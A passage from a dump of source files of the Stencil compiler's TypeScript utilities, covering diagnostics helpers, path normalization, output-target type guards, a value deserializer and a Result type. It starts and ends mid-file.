.replace(/\"/g, '&quot;')\n    .replace(/'/g, '&#039;');\n};\n"
  },
  {
    "path": "src/utils/message-utils.ts",
    "content": "import type * as d from '../declarations';\nimport { isString } from './helpers';\n\n/**\n * Builds a template `Diagnostic` entity for a build error. The created `Diagnostic` is returned, and have little\n * detail attached to it regarding the specifics of the error - it is the responsibility of the caller of this method\n * to attach the specifics of the error message.\n *\n * The created `Diagnostic` is pushed to the `diagnostics` argument as a side effect of calling this method.\n *\n * @param diagnostics the existing diagnostics that the created template `Diagnostic` should be added to\n * @returns the created `Diagnostic`\n */\nexport const buildError = (diagnostics?: d.Diagnostic[]): d.Diagnostic => {\n  const diagnostic: d.Diagnostic = {\n    level: 'error',\n    type: 'build',\n    header: 'Build Error',\n    messageText: 'build error',\n    relFilePath: undefined,\n    absFilePath: undefined,\n    lines: [],\n  };\n\n  if (diagnostics) {\n    diagnostics.push(diagnostic);\n  }\n\n  return diagnostic;\n};\n\n/**\n * Builds a template `Diagnostic` entity for a build warning. The created `Diagnostic` is returned, and have little\n * detail attached to it regarding the specifics of the warning - it is the responsibility of the caller of this method\n * to attach the specifics of the warning message.\n *\n * The created `Diagnostic` is pushed to the `diagnostics` argument as a side effect of calling this method.\n *\n * @param diagnostics the existing diagnostics that the created template `Diagnostic` should be added to\n * @returns the created `Diagnostic`\n */\nexport const buildWarn = (diagnostics: d.Diagnostic[]): d.Diagnostic => {\n  const diagnostic: d.Diagnostic = {\n    level: 'warn',\n    type: 'build',\n    header: 'Build Warn',\n    messageText: 'build warn',\n    lines: [],\n  };\n\n  diagnostics.push(diagnostic);\n\n  return diagnostic;\n};\n\n/**\n * Create a diagnostic message suited for representing an error in a JSON\n * file. This includes information about the exact lines in the JSON file which\n * caused the error and the path to the file.\n *\n * @param compilerCtx the current compiler context\n * @param diagnostics a list of diagnostics used as a return param\n * @param jsonFilePath the path to the JSON file where the error occurred\n * @param msg the error message\n * @param jsonField the key for the field which caused the error, used for finding\n * the error line in the original JSON file\n * @returns a reference to the newly-created diagnostic\n */\nexport const buildJsonFileError = (\n  compilerCtx: d.CompilerCtx,\n  diagnostics: d.Diagnostic[],\n  jsonFilePath: string,\n  msg: string,\n  jsonField: string,\n) => {\n  const err = buildError(diagnostics);\n  err.messageText = msg;\n  err.absFilePath = jsonFilePath;\n\n  if (typeof jsonField === 'string') {\n    try {\n      const jsonStr = compilerCtx.fs.readFileSync(jsonFilePath);\n      const lines = jsonStr.replace(/\\r/g, '\\n').split('\\n');\n\n      for (let i = 0; i < lines.length; i++) {\n        const txtLine = lines[i];\n        const txtIndex = txtLine.indexOf(jsonField);\n\n        if (txtIndex > -1) {\n          const warnLine: d.PrintLine = {\n            lineIndex: i,\n            lineNumber: i + 1,\n            text: txtLine,\n            errorCharStart: txtIndex,\n            errorLength: jsonField.length,\n          };\n          err.lineNumber = warnLine.lineNumber;\n          err.columnNumber = txtIndex + 1;\n          err.lines.push(warnLine);\n\n          if (i >= 0) {\n            const beforeWarnLine: d.PrintLine = {\n              lineIndex: warnLine.lineIndex - 1,\n              lineNumber: warnLine.lineNumber - 1,\n              text: lines[i - 1],\n              errorCharStart: -1,\n              errorLength: -1,\n            };\n            err.lines.unshift(beforeWarnLine);\n          }\n\n          if (i < lines.length) {\n            const afterWarnLine: d.PrintLine = {\n              lineIndex: warnLine.lineIndex + 1,\n              lineNumber: warnLine.lineNumber + 1,\n              text: lines[i + 1],\n              errorCharStart: -1,\n              errorLength: -1,\n            };\n            err.lines.push(afterWarnLine);\n          }\n\n          break;\n        }\n      }\n    } catch (e) {}\n  }\n\n  return err;\n};\n\n/**\n * Builds a diagnostic from an `Error`, appends it to the `diagnostics` parameter, and returns the created diagnostic\n * @param diagnostics the series of diagnostics the newly created diagnostics should be added to\n * @param err the error to derive information from in generating the diagnostic\n * @param msg an optional message to use in place of `err` to generate the diagnostic\n * @returns the generated diagnostic\n */\nexport const catchError = (diagnostics: d.Diagnostic[], err: Error | null | undefined, msg?: string): d.Diagnostic => {\n  const diagnostic: d.Diagnostic = {\n    level: 'error',\n    type: 'build',\n    header: 'Build Error',\n    messageText: 'build error',\n    lines: [],\n  };\n\n  if (isString(msg)) {\n    diagnostic.messageText = msg.length ? msg : 'UNKNOWN ERROR';\n  } else if (err != null) {\n    if (err.stack != null) {\n      diagnostic.messageText = err.stack.toString();\n    } else {\n      if (err.message != null) {\n        diagnostic.messageText = err.message.length ? err.message : 'UNKNOWN ERROR';\n      } else {\n        diagnostic.messageText = err.toString();\n      }\n    }\n  }\n\n  if (diagnostics != null && !shouldIgnoreError(diagnostic.messageText)) {\n    diagnostics.push(diagnostic);\n  }\n\n  return diagnostic;\n};\n\n/**\n * Determine if the provided diagnostics have any build errors\n * @param diagnostics the diagnostics to inspect\n * @returns true if any of the diagnostics in the list provided are errors that did not occur at runtime. false\n * otherwise.\n */\nexport const hasError = (diagnostics: d.Diagnostic[]): boolean => {\n  if (diagnostics == null || diagnostics.length === 0) {\n    return false;\n  }\n  return diagnostics.some((d) => d.level === 'error' && d.type !== 'runtime');\n};\n\n/**\n * Determine if the provided diagnostics have any warnings\n * @param diagnostics the diagnostics to inspect\n * @returns true if any of the diagnostics in the list provided are warnings. false otherwise.\n */\nexport const hasWarning = (diagnostics: d.Diagnostic[]): boolean => {\n  if (diagnostics == null || diagnostics.length === 0) {\n    return false;\n  }\n  return diagnostics.some((d) => d.level === 'warn');\n};\n\nexport const shouldIgnoreError = (msg: any) => {\n  return msg === TASK_CANCELED_MSG;\n};\n\nexport const TASK_CANCELED_MSG = `task canceled`;\n"
  },
  {
    "path": "src/utils/output-target.ts",
    "content": "import { flatOne, isGlob, normalizePath, sortBy } from '@utils';\nimport { join } from '@utils';\nimport { minimatch } from 'minimatch';\nimport { basename, dirname, relative } from 'path';\n\nimport type * as d from '../declarations';\nimport {\n  COPY,\n  CUSTOM,\n  DIST,\n  DIST_COLLECTION,\n  DIST_CUSTOM_ELEMENTS,\n  DIST_GLOBAL_STYLES,\n  DIST_HYDRATE_SCRIPT,\n  DIST_LAZY,\n  DIST_LAZY_LOADER,\n  DIST_TYPES,\n  DOCS_CUSTOM,\n  DOCS_CUSTOM_ELEMENTS_MANIFEST,\n  DOCS_JSON,\n  DOCS_README,\n  DOCS_VSCODE,\n  GENERATED_DTS,\n  STATS,\n  VALID_CONFIG_OUTPUT_TARGETS,\n  WWW,\n} from './constants';\n\n/**\n * Checks if a component tag name matches any of the exclude patterns.\n * Supports glob patterns using minimatch.\n *\n * @param tagName The component's tag name to check\n * @param excludePatterns Array of patterns to match against (supports globs)\n * @returns true if the component should be excluded, false otherwise\n */\nexport const shouldExcludeComponent = (tagName: string, excludePatterns: string[] | undefined): boolean => {\n  if (!excludePatterns || excludePatterns.length === 0) {\n    return false;\n  }\n\n  return excludePatterns.some((pattern) => {\n    if (isGlob(pattern)) {\n      return minimatch(tagName, pattern);\n    }\n    return pattern === tagName;\n  });\n};\n\nexport interface FilterComponentsResult {\n  components: d.ComponentCompilerMeta[];\n  excludedComponents: d.ComponentCompilerMeta[];\n}\n\n/**\n * Filters out components that match the excludeComponents patterns from the config.\n * Only applies filtering to production builds (when devMode is false) - dev builds include all components.\n *\n * @param components Array of component metadata\n * @param config The validated Stencil configuration\n * @returns Object containing filtered components and excluded components\n */\nexport const filterExcludedComponents = (\n  components: d.ComponentCompilerMeta[],\n  config: d.ValidatedConfig,\n): FilterComponentsResult => {\n  // Only apply exclusion logic in production builds (devMode === false)\n  if (config.devMode) {\n    return { components, excludedComponents: [] };\n  }\n\n  const excludePatterns = config.excludeComponents;\n\n  if (!excludePatterns || excludePatterns.length === 0) {\n    return { components, excludedComponents: [] };\n  }\n\n  const excludedComponents: d.ComponentCompilerMeta[] = [];\n  const excludedTags: string[] = [];\n\n  const filtered = components.filter((cmp) => {\n    const shouldExclude = shouldExcludeComponent(cmp.tagName, excludePatterns);\n\n    if (shouldExclude) {\n      excludedComponents.push(cmp);\n      excludedTags.push(cmp.tagName);\n      config.logger.debug(`Excluding component from build: ${cmp.tagName}`);\n    }\n\n    return !shouldExclude;\n  });\n\n  // Log summary of excluded components for production builds\n  if (excludedTags.length > 0) {\n    const tagList = excludedTags.join(', ');\n    config.logger.info(\n      `Excluding ${excludedTags.length} component${excludedTags.length === 1 ? '' : 's'} from production build: ${tagList}`,\n    );\n  }\n\n  return { components: filtered, excludedComponents };\n};\n\nexport const relativeImport = (pathFrom: string, pathTo: string, ext?: string, addPrefix = true) => {\n  let relativePath = relative(dirname(pathFrom), dirname(pathTo));\n  if (addPrefix) {\n    if (relativePath === '') {\n      relativePath = '.';\n    } else if (relativePath[0] !== '.') {\n      relativePath = './' + relativePath;\n    }\n  }\n  return normalizePath(`${relativePath}/${basename(pathTo, ext)}`);\n};\n\nexport const getComponentsDtsSrcFilePath = (config: d.ValidatedConfig) => join(config.srcDir, GENERATED_DTS);\n\n/**\n * Helper to get an appropriate file path for `components.d.ts` for a `\"dist\"`\n * or `\"dist-types\"` output target.\n *\n * @param outputTarget the output target of interest\n * @returns a properly-formatted path\n */\nexport const getComponentsDtsTypesFilePath = (outputTarget: Required<d.OutputTargetDist> | d.OutputTargetDistTypes) =>\n  join(outputTarget.typesDir, GENERATED_DTS);\n\nexport const isOutputTargetDist = (o: d.OutputTarget): o is d.OutputTargetDist => o.type === DIST;\n\nexport const isOutputTargetDistCollection = (o: d.OutputTarget): o is d.OutputTargetDistCollection =>\n  o.type === DIST_COLLECTION;\n\nexport const isOutputTargetDistCustomElements = (o: d.OutputTarget): o is d.OutputTargetDistCustomElements =>\n  o.type === DIST_CUSTOM_ELEMENTS;\n\nexport const isOutputTargetCopy = (o: d.OutputTarget): o is d.OutputTargetCopy => o.type === COPY;\n\nexport const isOutputTargetDistLazy = (o: d.OutputTarget): o is d.OutputTargetDistLazy => o.type === DIST_LAZY;\n\nexport const isOutputTargetDistLazyLoader = (o: d.OutputTarget): o is d.OutputTargetDistLazyLoader =>\n  o.type === DIST_LAZY_LOADER;\n\nexport const isOutputTargetDistGlobalStyles = (o: d.OutputTarget): o is d.OutputTargetDistGlobalStyles =>\n  o.type === DIST_GLOBAL_STYLES;\n\nexport const isOutputTargetHydrate = (o: d.OutputTarget): o is d.OutputTargetHydrate => o.type === DIST_HYDRATE_SCRIPT;\n\nexport const isOutputTargetCustom = (o: d.OutputTarget): o is d.OutputTargetCustom => o.type === CUSTOM;\n\nexport const isOutputTargetDocs = (\n  o: d.OutputTarget,\n): o is\n  | d.OutputTargetDocsJson\n  | d.OutputTargetDocsReadme\n  | d.OutputTargetDocsVscode\n  | d.OutputTargetDocsCustom\n  | d.OutputTargetDocsCustomElementsManifest =>\n  o.type === DOCS_README ||\n  o.type === DOCS_JSON ||\n  o.type === DOCS_CUSTOM ||\n  o.type === DOCS_VSCODE ||\n  o.type === DOCS_CUSTOM_ELEMENTS_MANIFEST;\n\nexport const isOutputTargetDocsReadme = (o: d.OutputTarget): o is d.OutputTargetDocsReadme => o.type === DOCS_README;\n\nexport const isOutputTargetDocsJson = (o: d.OutputTarget): o is d.OutputTargetDocsJson => o.type === DOCS_JSON;\n\nexport const isOutputTargetDocsCustom = (o: d.OutputTarget): o is d.OutputTargetDocsCustom => o.type === DOCS_CUSTOM;\n\nexport const isOutputTargetDocsVscode = (o: d.OutputTarget): o is d.OutputTargetDocsVscode => o.type === DOCS_VSCODE;\n\nexport const isOutputTargetDocsCustomElementsManifest = (\n  o: d.OutputTarget,\n): o is d.OutputTargetDocsCustomElementsManifest => o.type === DOCS_CUSTOM_ELEMENTS_MANIFEST;\n\nexport const isOutputTargetWww = (o: d.OutputTarget): o is d.OutputTargetWww => o.type === WWW;\n\nexport const isOutputTargetStats = (o: d.OutputTarget): o is d.OutputTargetStats => o.type === STATS;\n\nexport const isOutputTargetDistTypes = (o: d.OutputTarget): o is d.OutputTargetDistTypes => o.type === DIST_TYPES;\n\n/**\n * Checks whether or not the supplied output target's type matches one of the eligible primary\n * package output target types (i.e. it can have `isPrimaryPackageOutputTarget: true` in its config).\n *\n * @param o The output target to check.\n * @returns Whether the output target type is one of the \"primary\" output targets.\n */\nexport const isEligiblePrimaryPackageOutputTarget = (o: d.OutputTarget): o is d.EligiblePrimaryPackageOutputTarget =>\n  isOutputTargetDist(o) ||\n  isOutputTargetDistCollection(o) ||\n  isOutputTargetDistCustomElements(o) ||\n  isOutputTargetDistTypes(o);\n\n/**\n * Retrieve the Stencil component compiler metadata from a collection of Stencil {@link d.Module}s\n * @param moduleFiles the collection of `Module`s to retrieve the metadata from\n * @returns the metadata, lexicographically sorted by the tag names of the components\n */\nexport const getComponentsFromModules = (moduleFiles: d.Module[]): d.ComponentCompilerMeta[] =>\n  sortBy(flatOne(moduleFiles.map((m) => m.cmps)), (c: d.ComponentCompilerMeta) => c.tagName);\n\n// Given a ReadonlyArray of strings we can derive a union type from them\n// by getting `typeof ARRAY[number]`, i.e. the type of all values returns\n// by number keys.\ntype ValidConfigOutputTarget = (typeof VALID_CONFIG_OUTPUT_TARGETS)[number];\n\n/**\n * Check whether a given output target is a valid one to be set in a Stencil config\n *\n * @param targetType the type which we want to check\n * @returns whether or not the targetType is a valid, configurable output target.\n */\nexport function isValidConfigOutputTarget(targetType: string): targetType is ValidConfigOutputTarget {\n  // unfortunately `includes` is typed on `ReadonlyArray<T>` as `(el: T):\n  // boolean` so a `string` cannot be passed to `includes` on a\n  // `ReadonlyArray` 😢 thus we `as any`\n  //\n  // see microsoft/TypeScript#31018 for some discussion of this\n  return VALID_CONFIG_OUTPUT_TARGETS.includes(targetType as any);\n}\n"
  },
  {
    "path": "src/utils/path.ts",
    "content": "import path from 'path';\n\n/**\n * Convert Windows backslash paths to slash paths: foo\\\\bar ➔ foo/bar\n * Forward-slash paths can be used in Windows as long as they're not\n * extended-length paths and don't contain any non-ascii characters.\n * This was created since the path methods in Node.js outputs \\\\ paths on Windows.\n * @param path the Windows-based path to convert\n * @param relativize whether or not a relative path should have `./` prepended\n * @returns the converted path\n */\nexport const normalizePath = (path: string, relativize = true): string => {\n  if (typeof path !== 'string') {\n    throw new Error(`invalid path to normalize`);\n  }\n  path = normalizeSlashes(path.trim());\n\n  const components = pathComponents(path, getRootLength(path));\n  const reducedComponents = reducePathComponents(components);\n  const rootPart = reducedComponents[0];\n  const secondPart = reducedComponents[1];\n  const normalized = rootPart + reducedComponents.slice(1).join('/');\n\n  if (normalized === '') {\n    return '.';\n  }\n  if (\n    rootPart === '' &&\n    secondPart &&\n    path.includes('/') &&\n    !secondPart.startsWith('.') &&\n    !secondPart.startsWith('@') &&\n    relativize\n  ) {\n    return './' + normalized;\n  }\n  return normalized;\n};\n\nconst normalizeSlashes = (path: string) => path.replace(backslashRegExp, '/');\n\nconst altDirectorySeparator = '\\\\';\nconst urlSchemeSeparator = '://';\nconst backslashRegExp = /\\\\/g;\n\nconst reducePathComponents = (components: readonly string[]) => {\n  if (!Array.isArray(components) || components.length === 0) {\n    return [];\n  }\n  const reduced = [components[0]];\n  for (let i = 1; i < components.length; i++) {\n    const component = components[i];\n    if (!component) continue;\n    if (component === '.') continue;\n    if (component === '..') {\n      if (reduced.length > 1) {\n        if (reduced[reduced.length - 1] !== '..') {\n          reduced.pop();\n          continue;\n        }\n      } else if (reduced[0]) continue;\n    }\n    reduced.push(component);\n  }\n  return reduced;\n};\n\nconst getRootLength = (path: string) => {\n  const rootLength = getEncodedRootLength(path);\n  return rootLength < 0 ? ~rootLength : rootLength;\n};\n\nconst getEncodedRootLength = (path: string): number => {\n  if (!path) return 0;\n  const ch0 = path.charCodeAt(0);\n\n  // POSIX or UNC\n  if (ch0 === CharacterCodes.slash || ch0 === CharacterCodes.backslash) {\n    if (path.charCodeAt(1) !== ch0) return 1; // POSIX: \"/\" (or non-normalized \"\\\")\n\n    const p1 = path.indexOf(ch0 === CharacterCodes.slash ? '/' : altDirectorySeparator, 2);\n    if (p1 < 0) return path.length; // UNC: \"//server\" or \"\\\\server\"\n\n    return p1 + 1; // UNC: \"//server/\" or \"\\\\server\\\"\n  }\n\n  // DOS\n  if (isVolumeCharacter(ch0) && path.charCodeAt(1) === CharacterCodes.colon) {\n    const ch2 = path.charCodeAt(2);\n    if (ch2 === CharacterCodes.slash || ch2 === CharacterCodes.backslash) return 3; // DOS: \"c:/\" or \"c:\\\"\n    if (path.length === 2) return 2; // DOS: \"c:\" (but not \"c:d\")\n  }\n\n  // URL\n  const schemeEnd = path.indexOf(urlSchemeSeparator);\n  if (schemeEnd !== -1) {\n    const authorityStart = schemeEnd + urlSchemeSeparator.length;\n    const authorityEnd = path.indexOf('/', authorityStart);\n    if (authorityEnd !== -1) {\n      // URL: \"file:///\", \"file://server/\", \"file://server/path\"\n      // For local \"file\" URLs, include the leading DOS volume (if present).\n      // Per https://www.ietf.org/rfc/rfc1738.txt, a host of \"\" or \"localhost\" is a\n      // special case interpreted as \"the machine from which the URL is being interpreted\".\n      const scheme = path.slice(0, schemeEnd);\n      const authority = path.slice(authorityStart, authorityEnd);\n      if (\n        scheme === 'file' &&\n        (authority === '' || authority === 'localhost') &&\n        isVolumeCharacter(path.charCodeAt(authorityEnd + 1))\n      ) {\n        const volumeSeparatorEnd = getFileUrlVolumeSeparatorEnd(path, authorityEnd + 2);\n        if (volumeSeparatorEnd !== -1) {\n          if (path.charCodeAt(volumeSeparatorEnd) === CharacterCodes.slash) {\n            // URL: \"file:///c:/\", \"file://localhost/c:/\", \"file:///c%3a/\", \"file://localhost/c%3a/\"\n            return ~(volumeSeparatorEnd + 1);\n          }\n          if (volumeSeparatorEnd === path.length) {\n            // URL: \"file:///c:\", \"file://localhost/c:\", \"file:///c$3a\", \"file://localhost/c%3a\"\n            // but not \"file:///c:d\" or \"file:///c%3ad\"\n            return ~volumeSeparatorEnd;\n          }\n        }\n      }\n      return ~(authorityEnd + 1); // URL: \"file://server/\", \"http://server/\"\n    }\n    return ~path.length; // URL: \"file://server\", \"http://server\"\n  }\n\n  // relative\n  return 0;\n};\n\nconst isVolumeCharacter = (charCode: number) =>\n  (charCode >= CharacterCodes.a && charCode <= CharacterCodes.z) ||\n  (charCode >= CharacterCodes.A && charCode <= CharacterCodes.Z);\n\nconst getFileUrlVolumeSeparatorEnd = (url: string, start: number) => {\n  const ch0 = url.charCodeAt(start);\n  if (ch0 === CharacterCodes.colon) return start + 1;\n  if (ch0 === CharacterCodes.percent && url.charCodeAt(start + 1) === CharacterCodes._3) {\n    const ch2 = url.charCodeAt(start + 2);\n    if (ch2 === CharacterCodes.a || ch2 === CharacterCodes.A) return start + 3;\n  }\n  return -1;\n};\n\nconst pathComponents = (path: string, rootLength: number) => {\n  const root = path.substring(0, rootLength);\n  const rest = path.substring(rootLength).split('/');\n  const restLen = rest.length;\n  if (restLen > 0 && !rest[restLen - 1]) {\n    rest.pop();\n  }\n  return [root, ...rest];\n};\n\n/**\n * Same as normalizePath(), expect it'll also strip any query strings\n * from the path name. So /dir/file.css?tag=cmp-a becomes /dir/file.css\n * @param p the path to normalize\n * @returns the normalized path, sans any query strings\n */\nexport const normalizeFsPath = (p: string) => normalizePath(p.split('?')[0].replace(/\\0/g, ''));\n\nexport const normalizeFsPathQuery = (importPath: string) => {\n  const pathParts = importPath.split('?');\n  const filePath = normalizePath(pathParts[0]);\n  const filePathParts = filePath.split('.');\n  const ext = filePathParts.length > 1 ? filePathParts.pop()!.toLowerCase() : null;\n  const params = pathParts.length > 1 ? new URLSearchParams(pathParts[1]) : null;\n  const format = params ? params.get('format') : null;\n\n  return {\n    filePath,\n    ext,\n    format,\n  };\n};\n\nconst enum CharacterCodes {\n  a = 0x61,\n  A = 0x41,\n  z = 0x7a,\n  Z = 0x5a,\n  _3 = 0x33,\n\n  backslash = 0x5c, // \\\n  colon = 0x3a, // :\n  dot = 0x2e, // .\n  percent = 0x25, // %\n  slash = 0x2f, // /\n}\n\n/**\n * A wrapped version of node.js' {@link path.relative} which adds our custom\n * normalization logic. This solves the relative path between `from` and `to`!\n *\n * The calculation of the returned path follows that of Node's logic, with one exception - if the calculated path\n * results in an empty string, a string of length one with a period (`'.'`) is returned.\n *\n * @throws the underlying node.js function can throw if either path is not a\n * string\n * @param from the path where relative resolution starts\n * @param to the destination path\n * @returns the resolved relative path\n */\nexport function relative(from: string, to: string): string {\n  /**\n   * When normalizing, we should _not_ attempt to relativize the path returned by the native Node `relative` method.\n   * When finding the relative path between `from` and `to`, Node does not prepend './' to a non-zero length calculated\n   * path. However, our algorithm does differ from that of Node's, as described in this function's JSDoc when a zero\n   * length string is encountered.\n   */\n  return normalizePath(path.relative(from, to), false);\n}\n\n/**\n * A wrapped version of node.js' {@link path.join} which adds our custom\n * normalization logic. This joins all the arguments (path fragments) into a\n * single path.\n *\n * The calculation of the returned path follows that of Node's logic, with one exception - any trailing slashes will\n * be removed from the calculated path.\n *\n * @throws the underlying node function will throw if any argument is not a\n * string\n * @param paths the paths to join together\n * @returns a joined path!\n */\nexport function join(...paths: string[]): string {\n  /**\n   * When normalizing, we should _not_ attempt to relativize the path returned by the native Node `join` method. When\n   * calculating the path from each of the string-based parts, Node does not prepend './' to any calculated path.\n   *\n   * Note that our algorithm does differ from Node's, as described in this function's JSDoc regarding trailing\n   * slashes.\n   */\n  return normalizePath(path.join(...paths), false);\n}\n\n/**\n * A wrapped version of node.js' {@link path.resolve} which adds our custom\n * normalization logic. This resolves a path to a given (relative or absolute)\n * path.\n *\n * @throws the underlying node function will throw if any argument is not a\n * string\n * @param paths a path or path fragments to resolve\n * @returns a resolved path!\n */\nexport function resolve(...paths: string[]): string {\n  /**\n   * When normalizing, we should _not_ attempt to relativize the path returned by the native Node `resolve` method. When\n   * calculating the path from each of the string-based parts, Node does not prepend './' to the calculated path.\n   */\n  return normalizePath(path.resolve(...paths), false);\n}\n\n/**\n * A wrapped version of node.js' {@link path.normalize} which adds our custom\n * normalization logic. This normalizes a path, de-duping repeated segment\n * separators and resolving `'..'` segments.\n *\n * @throws the underlying node function will throw if the argument is not a\n * string\n * @param toNormalize a path to normalize\n * @returns a normalized path!\n */\nexport function normalize(toNormalize: string): string {\n  /**\n   * When normalizing, we should _not_ attempt to relativize the path returned by the native Node `normalize` method.\n   * When calculating the path from each of the string-based parts, Node does not prepend './' to the calculated path.\n   */\n  return normalizePath(path.normalize(toNormalize), false);\n}\n"
  },
  {
    "path": "src/utils/query-nonce-meta-tag-content.ts",
    "content": "/**\n * Helper method for querying a `meta` tag that contains a nonce value\n * out of a DOM's head.\n *\n * @param doc The DOM containing the `head` to query against\n * @returns The content of the meta tag representing the nonce value, or `undefined` if no tag\n * exists or the tag has no content.\n */\nexport function queryNonceMetaTagContent(doc: Document): string | undefined {\n  return doc.head?.querySelector('meta[name=\"csp-nonce\"]')?.getAttribute('content') ?? undefined;\n}\n"
  },
  {
    "path": "src/utils/regular-expression.ts",
    "content": "/**\n * Utility function that will escape all regular expression special characters in a string.\n *\n * @param text The string potentially containing special characters.\n * @returns The string with all special characters escaped.\n */\nexport const escapeRegExpSpecialCharacters = (text: string): string => {\n  return text.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n};\n"
  },
  {
    "path": "src/utils/remote-value.ts",
    "content": "import { NonPrimitiveType, PrimitiveType, TYPE_CONSTANT, VALUE_CONSTANT } from './constants';\nimport type { ScriptListLocalValue, ScriptLocalValue, ScriptRegExpValue } from './types';\n\n/**\n * RemoteValue class for deserializing LocalValue serialized objects back into their original form\n * @deprecated will be removed in v5. Use `@AttrDeserialize()` / `@PropDeserialize()` decorators instead.\n */\nexport class RemoteValue {\n  /**\n   * Deserializes a LocalValue serialized object back to its original JavaScript representation\n   *\n   * @param serialized The serialized LocalValue object\n   * @returns The original JavaScript value/object\n   */\n  static fromLocalValue(serialized: ScriptLocalValue): any {\n    const type = serialized[TYPE_CONSTANT];\n    const value = VALUE_CONSTANT in serialized ? serialized[VALUE_CONSTANT] : undefined;\n\n    switch (type) {\n      case PrimitiveType.String:\n        return value;\n\n      case PrimitiveType.Boolean:\n        return value;\n\n      case PrimitiveType.BigInt:\n        return BigInt(value as string);\n\n      case PrimitiveType.Undefined:\n        return undefined;\n\n      case PrimitiveType.Null:\n        return null;\n\n      case PrimitiveType.Number:\n        if (value === 'NaN') return NaN;\n        if (value === '-0') return -0;\n        if (value === 'Infinity') return Infinity;\n        if (value === '-Infinity') return -Infinity;\n        return value;\n\n      case NonPrimitiveType.Array:\n        return (value as ScriptLocalValue[]).map((item: ScriptLocalValue) => RemoteValue.fromLocalValue(item));\n\n      case NonPrimitiveType.Date:\n        return new Date(value as string);\n\n      case NonPrimitiveType.Map:\n        const map = new Map();\n        for (const [key, val] of value as unknown as [string, ScriptLocalValue][]) {\n          const deserializedKey = typeof key === 'object' && key !== null ? RemoteValue.fromLocalValue(key) : key;\n          const deserializedValue = RemoteValue.fromLocalValue(val);\n          map.set(deserializedKey, deserializedValue);\n        }\n        return map;\n\n      case NonPrimitiveType.Object:\n        const obj: Record<string, any> = {};\n        for (const [key, val] of value as unknown as [string, ScriptLocalValue][]) {\n          obj[key] = RemoteValue.fromLocalValue(val);\n        }\n        return obj;\n\n      case NonPrimitiveType.RegularExpression:\n        const { pattern, flags } = value as ScriptRegExpValue;\n        return new RegExp(pattern, flags);\n\n      case NonPrimitiveType.Set:\n        const set = new Set();\n        for (const item of value as unknown as ScriptListLocalValue) {\n          set.add(RemoteValue.fromLocalValue(item));\n        }\n        return set;\n\n      case NonPrimitiveType.Symbol:\n        return Symbol(value as string);\n\n      default:\n        throw new Error(`Unsupported type: ${type}`);\n    }\n  }\n\n  /**\n   * Utility method to deserialize multiple LocalValues at once\n   *\n   * @param serializedValues Array of serialized LocalValue objects\n   * @returns Array of deserialized JavaScript values\n   */\n  static fromLocalValueArray(serializedValues: ScriptLocalValue[]): any[] {\n    return serializedValues.map((value) => RemoteValue.fromLocalValue(value));\n  }\n\n  /**\n   * Verifies if the given object matches the structure of a serialized LocalValue\n   *\n   * @param obj Object to verify\n   * @returns boolean indicating if the object has LocalValue structure\n   */\n  static isLocalValueObject(obj: any): boolean {\n    if (typeof obj !== 'object' || obj === null) {\n      return false;\n    }\n\n    if (!obj.hasOwnProperty(TYPE_CONSTANT)) {\n      return false;\n    }\n\n    const type = obj[TYPE_CONSTANT];\n    const hasTypeProperty = Object.values({ ...PrimitiveType, ...NonPrimitiveType }).includes(type);\n\n    if (!hasTypeProperty) {\n      return false;\n    }\n\n    if (type !== PrimitiveType.Null && type !== PrimitiveType.Undefined) {\n      return obj.hasOwnProperty(VALUE_CONSTANT);\n    }\n\n    return true;\n  }\n}\n"
  },
  {
    "path": "src/utils/result.ts",
    "content": "/**\n * A Result wraps up a success state and a failure state, allowing you to\n * return a single type from a function and discriminate between the two\n * possible states in a principled way.\n *\n * Using it could look something like this:\n *\n * ```ts\n * import { result } from '@utils';\n *\n * const mightFail = (input: number): Result<number, string> => {\n *   try {\n *     let value: number = calculateSomethingWithInput(input);\n *     return result.ok(value);\n *   } catch (e) {\n *     return result.err(e.message);\n *   }\n * }\n *\n * const sumResult = mightFail(2);\n *\n * const msg = result.map(sumResult, (sum: number) => `the sum was: ${sum}`);\n * ```\n *\n * A few utility methods are defined in this module, like `map` and `unwrap`,\n * which are (probably obviously) inspired by the correspond methods on\n * `std::result::Result` in Rust.\n */\nexport type Result<OnSuccess, OnFailure> = Ok<OnSuccess> | Err<OnFailure>;\n\n/**\n * Type for the Ok state of a Result\n */\ntype Ok<T> = {\n  isOk: true;\n  isErr: false;\n  value: T;\n};\n\n/**\n * Type for the Err state of a Result\n */\ntype Err<T> = {\n  isOk: false;\n  isErr: true;\n  value: T;\n};\n\n/**\n * Create an `Ok` given a value. This doesn't do any checking that the value is\n * 'ok-ish' since doing so would make an undue assumption about what is 'ok'.\n * Instead, this trusts the user to determine, at the call site, whether\n * something is `ok()` or `err()`.\n *\n * @param value the value to wrap up in an `Ok`\n * @returns an Ok wrapping the value\n */\nexport const ok = <T>(value: T): Ok<T> => ({\n  isOk: true,\n  isErr: false,\n  value,\n});\n\n/**\n * Create an `Err` given a value.\n *\n * @param value the value to wrap up in an `Err`\n * @returns an Ok wrapping the value\n */\nexport const err = <T>(value: T): Err<T> => ({\n  isOk: false,\n  isErr: true,\n  value,\n});\n\n/**\n * Map across a `Result`.\n *\n * If it's `Ok`, unwraps the value, applies the supplied function, and returns\n * the result, wrapped in `Ok` again. This could involve changing the type of\n * the wrapped value, for instance:\n *\n * ```ts\n * import { result } from \"@utils\";\n *\n * const myResult: Result<string, string> = result.ok(\"monads???\");\n * const updatedResult = result.map(myResult, wrappedString => (\n *   wrappedString.split(\"\").length\n * ));\n * ```\n *\n * after the `result.map` call the type of `updatedResult` will now be\n * `Result<number, string>`.\n *\n * If it's `Err`, just return the same value.\n *\n * This lets the programmer trigger an action, or transform a value, only if an\n * earlier operation succeeded, short-circuiting instead if an error occurred.\n *\n * @param result a `Result` value which we want to map across\n * @param fn a function for handling the `Ok` case for the `Result`\n * @returns a new `Result`, with the a new wrapped value (if `Ok`) or the\n * same (if `Err)\n */\nexport function map<T1, T2, E>(result: Result<T1, E>, fn: (t: T1) => Promise<T2>): Promise<Result<T2, E>>;\nexport function map<T1, T2, E>(result: Result<T1, E>, fn: (t: T1) => T2): Result<T2, E>;\nexport function map<T1, T2, E>(\n  result: Result<T1, E>,\n  fn: ((t: T1) => T2) | ((t: T1) => Promise<T2>),\n): Promise<Result<T2, E>> | Result<T2, E> {\n  if (result.isOk) {\n    const val = fn(result.value);\n    if (val instanceof Promise) {\n      return val.then((newVal) => ok(newVal));\n    } else {\n      return ok(val);\n    }\n  }\n\n  if (result.isErr) {\n    // unwrapping the error is necessary here for typechecking\n    // but you and I both know its type hasn't changed a 